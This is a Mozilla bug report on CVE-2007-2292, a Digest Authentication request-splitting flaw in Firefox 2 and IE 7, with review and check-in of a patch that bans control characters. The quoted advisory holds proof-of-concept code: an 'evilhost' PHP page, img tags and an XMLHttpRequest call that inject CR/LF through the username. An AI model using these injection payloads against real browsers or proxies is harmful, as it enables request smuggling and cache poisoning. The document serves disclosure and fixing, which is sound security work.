The default bug view has changed. See this FAQ.
Bug 378787 (CVE-2007-2292)

IE 7 and Firefox Browsers Digest Authentication Request Splitting

RESOLVED FIXED in mozilla1.9alpha5

Status

()

Core
Networking: HTTP
RESOLVED FIXED
10 years ago
9 years ago

People

(Reporter: chris hofmann, Assigned: Robert Sayre)

Tracking

({fixed1.8.0.15, fixed1.8.1.8})

unspecified
mozilla1.9alpha5
fixed1.8.0.15, fixed1.8.1.8
Points:
---
Bug Flags:
blocking1.8.1.8 +
blocking1.8.0.next +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:high] need branch patch, URL)

Attachments

(2 attachments, 5 obsolete attachments)

(Reporter)

Description

10 years ago
reported at the URL listed and mail to websecurity@webappsec.org by stefano.dipaola@wisec.it

Title:
IE 7 and Firefox Browsers Digest Authentication
Original Discovery and Research:
Stefano Di Paola
Vulnerable:
Internet Explorer 7.0.5730.11
Mozilla Firefox 2.0.0.3
Severity:
Medium
Vendor :
http://www.microsoft.com/
http://www.mozilla.com/
Type of Vulnerability:
HTTP Request Splitting
Tested On :
Firefox 2.0.0.3 under Windows XP SP2,
Firefox 2.0.0.3 under Ubuntu 6.06,
Internet Explorer SP2 under Windows XP SP2.
Discovery Date :
20070213
Release Date :
20070425
I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:
 
1. http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
2. http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html
3. http://download2.rapid7.com/r7-0026/
4. http://www.wisec.it/docs.php?id=4 (PDF, About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 (http://www.ietf.org/rfc/rfc2617.txt) Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

The first time the client requests the document, no Authorization
header is sent, so the server responds with:

      HTTP/1.1 401 Unauthorized
      WWW-Authenticate: Digest
	      realm="testrealm@host.com",
	      qop="auth,auth-int",
	      nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
	      opaque="5ccc069c403ebaf9f0171e9517f40e41"


The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username="Mufasa",
	realm="testrealm@host.com",
	nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
	uri="/dir/index.html",
	qop=auth,
	nc=00000001,
	cnonce="0a4f113b",
	response="6629fae49393a05397450978507c4ef1",
	opaque="5ccc069c403ebaf9f0171e9517f40e41"

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src="http://user:pass@host/page">

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<

<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm="1@example.com", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
opaque="5ccc069c403ebaf9f0171e9517f40e41"');
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img  src="http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8
...

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

and then Firefox resend its request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

GET /req.php HTTP/1.1
Host: at.tack.er
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)
Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745"
Cookie: PHPSESSID=6555

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

<img  src="http://evilhost/redir.php">


With redir.php :

<?php
header("Location: http://user%0aname:ds@avilhost/req.php");
?>

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable. Let's use a standard request
with XMLHttpRequest:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

x=new XMLHttpRequest();
x.open("POST","req.php?",false,"user\r\nname","pass");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.onreadystatechange=function (){
   if (x.readyState == 4){

  }
}
// The payload with a request to a page with evil content
x.send("RequestPayload");

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, for example in the presence 
of a proxy the local proxy cache could be poisoned.
The previous references details this and other attacks.

Note: there is some difference between IE and Firefox, but it'll 
be left as an exercise for the reader.
(Reporter)

Updated

10 years ago
Assignee: nobody → dveditz
(Assignee)

Comment 1

10 years ago
Created attachment 262903 [details] [diff] [review]
disallow control characters
(Assignee)

Comment 2

10 years ago
Comment on attachment 262903 [details] [diff] [review]
disallow control characters

the spec claims that these fields can allow control characters through backslash escaping. I am skeptical, and Apache sent me a 400 Bad Request error when I tried it. I think we should just disallow them, since all the guides on implementing this stuff tell you to avoid them and our current behavior is definitely incorrect.
Attachment #262903 - Flags: review?(cbiesinger)
Comment on attachment 262903 [details] [diff] [review]
disallow control characters

- I'd change the semantics of QuotedString so that it appends the quoted string to the second argument (and change the name to AppendQuotedString), in an attempt to make the caller's code more readable

+  rv =QuotedString(realm, quotedString);

missing space after = here

+  authString.AppendLiteral("\"");

.Append('"')

+    rv =QuotedString(cnonce, quotedString);

missing space here again

+  const nsAFlatCString& param = PromiseFlatCString(value);

doesn't look like you need PromiseFlatCString here

+  quoted.AppendLiteral("\"");

.Append('"')


need some testcases too :-)
Attachment #262903 - Flags: review?(cbiesinger) → review-
(Assignee)

Comment 4

10 years ago
Created attachment 263023 [details] [diff] [review]
disallow control characters, v2

tests coming up
Assignee: dveditz → sayrer
Attachment #262903 - Attachment is obsolete: true
Status: NEW → ASSIGNED
(Assignee)

Comment 5

10 years ago
Created attachment 263132 [details] [diff] [review]
patch with tests

practice what you preach
Attachment #263023 - Attachment is obsolete: true
(Assignee)

Comment 6

10 years ago
Created attachment 263134 [details] [diff] [review]
fix nits
Attachment #263132 - Attachment is obsolete: true
Attachment #263134 - Flags: review?(cbiesinger)
Comment on attachment 263134 [details] [diff] [review]
fix nits

+  listener.expectedCode = 401; // OK

401 is not OK :)

+   Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
+     createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

style here is:
+   Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]
+             .createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

(also for the nsICryptoHash case)


Don't you need to send WWW-Authenticate even if the client sends Authorization? See RFC 2616 10.4.2

+  listener.shouldThrow = true;


+  listener.shouldThrow = true;

Hm, I don't see this used anywhere?
Attachment #263134 - Flags: review?(cbiesinger) → review+
Component: Security → Networking: HTTP
OS: Windows XP → All
Product: Firefox → Core
QA Contact: firefox → networking.http
Hardware: PC → All
(Assignee)

Comment 8

10 years ago
Created attachment 263151 [details] [diff] [review]
address biesi's comments
Attachment #263134 - Attachment is obsolete: true
Attachment #263151 - Flags: superreview?(brendan)
Comment on attachment 263151 [details] [diff] [review]
address biesi's comments

>+  //XXX We should RFC2047-encode non-Latin-1 values according to spec

Better than XXX, Nat Friedman advocates FIXME: bug number, after filing that followup bug. sr=me with that.

/be
Attachment #263151 - Flags: superreview?(brendan) → superreview+
(Assignee)

Comment 10

10 years ago
Created attachment 263687 [details] [diff] [review]
patch to check in, with brendan's comment

The comment now includes a reference to the i18n train wreck known as bug 41489.
Attachment #263151 - Attachment is obsolete: true
(Assignee)

Comment 11

10 years ago
Checking in protocol/http/src/nsHttpDigestAuth.cpp;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.cpp,v  <--  nsHttpDigestAuth.cpp
new revision: 1.28; previous revision: 1.27
done
Checking in protocol/http/src/nsHttpDigestAuth.h;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.h,v  <--  nsHttpDigestAuth.h
new revision: 1.9; previous revision: 1.8
done
Checking in test/unit/test_authentication.js;
/cvsroot/mozilla/netwerk/test/unit/test_authentication.js,v  <--  test_authentication.js
new revision: 1.9; previous revision: 1.8
done
Status: ASSIGNED → RESOLVED
Last Resolved: 10 years ago
Flags: blocking1.8.1.5?
Flags: blocking1.8.0.13?
Resolution: --- → FIXED
Target Milestone: --- → mozilla1.9alpha5
(Assignee)

Comment 12

10 years ago
requesting blocking on these so they don't slip through the cracks
(Assignee)

Comment 13

10 years ago
There are Web compat hazards here--a branch patch might need to limit the banned characters to CR. I would add LF to that list, but I fear that people might actually get by with a bare LF today. :/
(Reporter)

Comment 14

10 years ago
what would be the best way to test/get a handle on the extent of the compatibility problems?
(Assignee)

Updated

10 years ago
Depends on: 379883
(Assignee)

Comment 15

10 years ago
(In reply to comment #14)
> what would be the best way to test/get a handle on the extent of the
> compatibility problems?
> 

I don't think there is a way to observe it, unfortunately. We haven't had any reports of broken credentials on trunk, though.

http://lists.w3.org/Archives/Public/ietf-http-wg/2007AprJun/0024.html

makes the recommendation to disallow CR, LF, and NUL... but I don't see why we should allow any control characters here. I will ask them.
(Assignee)

Comment 16

10 years ago
(In reply to comment #15)
>  I will ask them.

No one came forward to state that they rely on escaped control characters here, and the Squid maintainer claimed no one accepted them anyway. I think we should take this on the branch.

Flags: blocking1.8.1.5?
Flags: blocking1.8.1.5+
Flags: blocking1.8.0.13?
Flags: blocking1.8.0.13+
Do we need a separate branch patch for this, or can it go in as-is?
Whiteboard: need branch patch
Whiteboard: need branch patch → [sg:high] need branch patch
(Assignee)

Comment 18

10 years ago
(In reply to comment #17)
> Do we need a separate branch patch for this, or can it go in as-is?
> 

I'm not sure. I'll have to try making one and see.
tree closing early for 1.8.1.5, moving unfinished branch bugs to next release.
Flags: blocking1.8.1.5+ → blocking1.8.1.6+
Flags: blocking1.8.0.13+ → blocking1.8.0.14+
(Assignee)

Comment 20

10 years ago
Created attachment 283298 [details] [diff] [review]
branch patch

almost applied cleanly to the branch: .h file context was a bit different, .cpp was fine.
Attachment #283298 - Flags: approval1.8.1.8?
(Assignee)

Updated

10 years ago
Attachment #283298 - Attachment is patch: true
Attachment #283298 - Attachment mime type: application/octet-stream → text/plain
Comment on attachment 283298 [details] [diff] [review]
branch patch

approved for 1.8.1.8, a=dveditz
Attachment #283298 - Flags: approval1.8.1.8? → approval1.8.1.8+
(Assignee)

Updated

10 years ago
Keywords: fixed1.8.1
Keywords: fixed1.8.1 → fixed1.8.1.8

Updated

10 years ago
Alias: CVE-2007-2292
Flags: blocking1.8.0.14+ → blocking1.8.0.15?
Flags: blocking1.8.0.15? → blocking1.8.0.15+

Comment 22

9 years ago
Comment on attachment 283298 [details] [diff] [review]
branch patch

a=asac for 1.8.0.15

(same as shipped by distros for some time)
Attachment #283298 - Flags: approval1.8.0.15+
fixed on 1.8.0 branch
Keywords: fixed1.8.0.15
You need to log in before you can comment on or make changes to this bug.